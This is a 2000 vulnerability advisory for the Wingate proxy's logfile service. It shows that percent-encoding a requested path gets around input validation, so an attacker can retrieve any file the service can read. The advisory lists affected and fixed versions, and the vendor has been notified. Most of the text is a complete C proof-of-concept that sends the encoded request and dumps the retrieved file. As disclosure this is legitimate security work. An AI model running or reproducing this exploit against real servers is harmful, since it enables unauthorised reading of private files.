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Blue Panda Vulnerability Announcement: Wingate 4.1 Beta A

16/10/2000 (dd/mm/yyyy)



bluepanda@dwarf.box.sk

http://bluepanda.box.sk/

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Problem:

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The logfile service can be used to retrieve files unrelated to logging.



Vulnerable:

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Wingate 4.1 Beta A

Wingate 4.0.1 (most recent stable release)

Wingate 3.0

Wingate 2.1



Prior versions may also be vulnerable, but have not been tested.



Immune:

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Wingate 4.1 Beta C



Vendor status:

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Notified.



Details:

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The logfile server allows logs to be viewed remotely via HTTP. By encoding

file/path portion of the URL as a series of escape codes (ie,

"%41%42%43%44"), an attacker may circumvent input validation. All files

accessable to the logging service can be retrieved by taking advantage of

this flaw. Files containing newlines may be corrupted.



By default, this service is bound only to 'private' interfaces (LAN adapters,

the loopback interface, etc). However, users who have legitimate access to

logs do not necessarily have legitimate access to all files available to the

logfile server process.



eEye Security (http://www.eeye.com/) reported that the logging server could

be used to retrieve files remotely in version 3.0. Unfortunately, the problem

was not thoroughly fixed and this simple trick allows characters to be

inserted that are not subject to input validation (escaped characters are

inserted _after_ checks are performed).



This vulnerability affects the latest beta version of Wingate (4.1 A) as well

as the most recent stable release (4.0.1). The attack has been confirmed to

work against Wingate 2.1 and 3.0. Other versions have not been tested. If you

can confirm that this problem does/does not exist in a particular version of

Wingate not mentioned here, please e-mail me so I can update this document.



The immune version (4.1 Beta C) can be obtained from

http://wingate.deerfield.com/beta/.



Proof of concept:

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/*

wgate41a.c - Wingate 4.1 Beta A logfile service vulnerability.

Blue Panda - bluepanda@dwarf.box.sk

http://bluepanda.box.sk/



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Disclaimer: this file is intended as proof of concept, and

is not intended to be used for illegal purposes. I accept

no responsibility for damage incurred by the use of it.

----------------------------------------------------------



Makes a request to the Wingate logfile service in such a way that it will

not be subject to filtering. This can allow an attacker to retrieve files

irrelevant to the logging system. The file received is dumped to stdout, and

all other output is written to stderr. Newline characters (0x0d and 0x0a)

will probably be screwed up by Wingate.



usage: wgate41a   []

*/

#include 

#include 



const char *USAGE = "usage: wgate41a   []\nport defaults to 8010.";

const char *ERROR_WINSOCK_INIT = "Error initialising winsock.";

const char *ERROR_SOCKET_CREATE = "Error creating socket.";

const char *ERROR_RECV = "Error receiving file/directory listing.";

const char *ERROR_MALLOC = "Error allocating memory.";

const char *WARNING_WINSOCK_CLEANUP = "Warning: winsock failed to clean up successfully.";



const int DEFAULT_PORT = 8010;

const int CONNECT_ERROR_NONE = 0;

const int CONNECT_ERROR_HOST = 1;

const int CONNECT_ERROR_CONNECT = 2;



const char *GET_REQUEST = "GET /";

const char *HTTP11 = " HTTP/1.1\x0d\x0a\x0d\x0a";

const char *END_OF_HEADERS = "\x0d\x0a\x0d";



#define BUF_LEN 2048



void Usage(void);

int Connect(int iSock, char *szHost, int iPort);

int InitWinsock(void);

int ShutdownWinsock(void);

void Bail(const char *szMessage);



int main(int argc, char *argv[])

{

        int iPort;

        int iResult;

        int iSocket;

        int iCounter;

        char *szFile = NULL;

        int iFileLen = 0;

        char *szFileTemp = NULL;

        char *szStartOfFile;

        char sBuf[BUF_LEN];



        if ((argc < 3) || (argc > 4)) Usage();

        if (argc == 4)

                iPort = atoi(argv[3]);

        else iPort = DEFAULT_PORT;



        // Attempt to initialise winsock.

        iResult = InitWinsock();

        if (iResult != 0)

                Bail(ERROR_WINSOCK_INIT);



        // Create socket.

        iSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

        if (iSocket == INVALID_SOCKET)

                Bail(ERROR_SOCKET_CREATE);



        // Connect to target.

        fprintf(stderr, "Connecting to %s:%d...", argv[1], iPort);

        iResult = Connect(iSocket, argv[1], iPort);

        if (iResult == CONNECT_ERROR_HOST)

                Bail("invalid host.");

        if (iResult == CONNECT_ERROR_CONNECT)

                Bail("failed.");

        fprintf(stderr, "done.\n");



        // Connected. Send request.

        send(iSocket, GET_REQUEST, strlen(GET_REQUEST), 0); // Begin request.        

        iCounter = 0; // File/path.

        do

        {

                sprintf((char *)(&sBuf), "%%%x", argv[2][iCounter]);

                send(iSocket, sBuf, strlen(sBuf), 0);

                iCounter++;

        } while((unsigned int)(iCounter) < strlen(argv[2]));

        send(iSocket, HTTP11, strlen(HTTP11), 0); // Terminate request.



        fprintf(stderr, "Receiving...\n");



        // Receive reply.

        do

        {

                iResult = recv(iSocket, (char *)(&sBuf), BUF_LEN, 0);

                if (iResult > 0)

                {

                        if (szFile != NULL)

                        {

                                szFileTemp = (char *)(malloc(iFileLen));

                                if (szFileTemp == NULL)

                                        Bail(ERROR_MALLOC);

                                memcpy(szFileTemp, szFile, iFileLen);

                                free(szFile);

                        }

                        szFile = (char *)(malloc(iFileLen + iResult + 1));

                        if (szFile == NULL)

                                Bail(ERROR_MALLOC);

                        if (szFileTemp != NULL)

                        {

                                memcpy(szFile, szFileTemp, iFileLen);

                                free(szFileTemp);

                                szFileTemp = NULL;

                        }

                        memcpy(szFile + iFileLen, (char *)(&sBuf), iResult);

                        iFileLen += iResult;

                }

                else

                        if ((iResult == SOCKET_ERROR) && (WSAGetLastError() != WSAETIMEDOUT)) iResult = 0;

        } while(iResult != 0);



        fprintf(stderr, "Finished. Dumping to stdout...\n");



        szFile[iFileLen] = 0;

        szStartOfFile = strstr(szFile, END_OF_HEADERS);

        if (szStartOfFile != NULL)

                szStartOfFile += 4;

        else

        {

                szStartOfFile = szFile;

                fprintf(stderr, "Warning: unable to find end of HTTP headers.\n");

        }

        if (iFileLen - (szStartOfFile - szFile) > 0)

                fwrite(szStartOfFile, 1, iFileLen - (szStartOfFile - szFile), stdout);

        else fprintf(stderr, "Warning: file blank.\n");



        free(szFile);



        // Attempt to shut-down winsock.

        iResult = ShutdownWinsock();

        if (iResult != 0)

                fprintf(stderr, "%s\n", WARNING_WINSOCK_CLEANUP);

        return 0;

}



void Usage(void)

{

        fprintf(stderr, "%s\n", USAGE);

        exit(0);

}



int Connect(int iSock, char *szHost, int iPort)

{

        SOCKADDR_IN RemoteAddress;

        struct hostent *HostInfo;

        int iResult;



        RemoteAddress.sin_family = AF_INET;

        RemoteAddress.sin_port = htons(iPort);

        RemoteAddress.sin_addr.s_addr = inet_addr(szHost);

        if (RemoteAddress.sin_addr.s_addr == INADDR_NONE)

        {

                HostInfo = gethostbyname(szHost);

                if (HostInfo == NULL) return 1;

                memcpy(&RemoteAddress.sin_addr.s_addr, HostInfo->h_addr, sizeof(HostInfo->h_addr));

        }



        iResult = connect(iSock, (SOCKADDR *)&RemoteAddress, sizeof(RemoteAddress));

        if (iResult) return 2;

        return 0;

}



int InitWinsock(void)

{

        WSADATA WSData;

        WORD WSVersion;

        int iResult;



        WSVersion = MAKEWORD(1, 1);

        iResult = WSAStartup(WSVersion, &WSData);

        return iResult;

}



int ShutdownWinsock(void)

{

        int iResult;

        iResult = WSACleanup();

        return iResult;

}



void Bail(const char *szMessage)

{

        fprintf(stderr, "%s\n", szMessage);

        exit(1);

}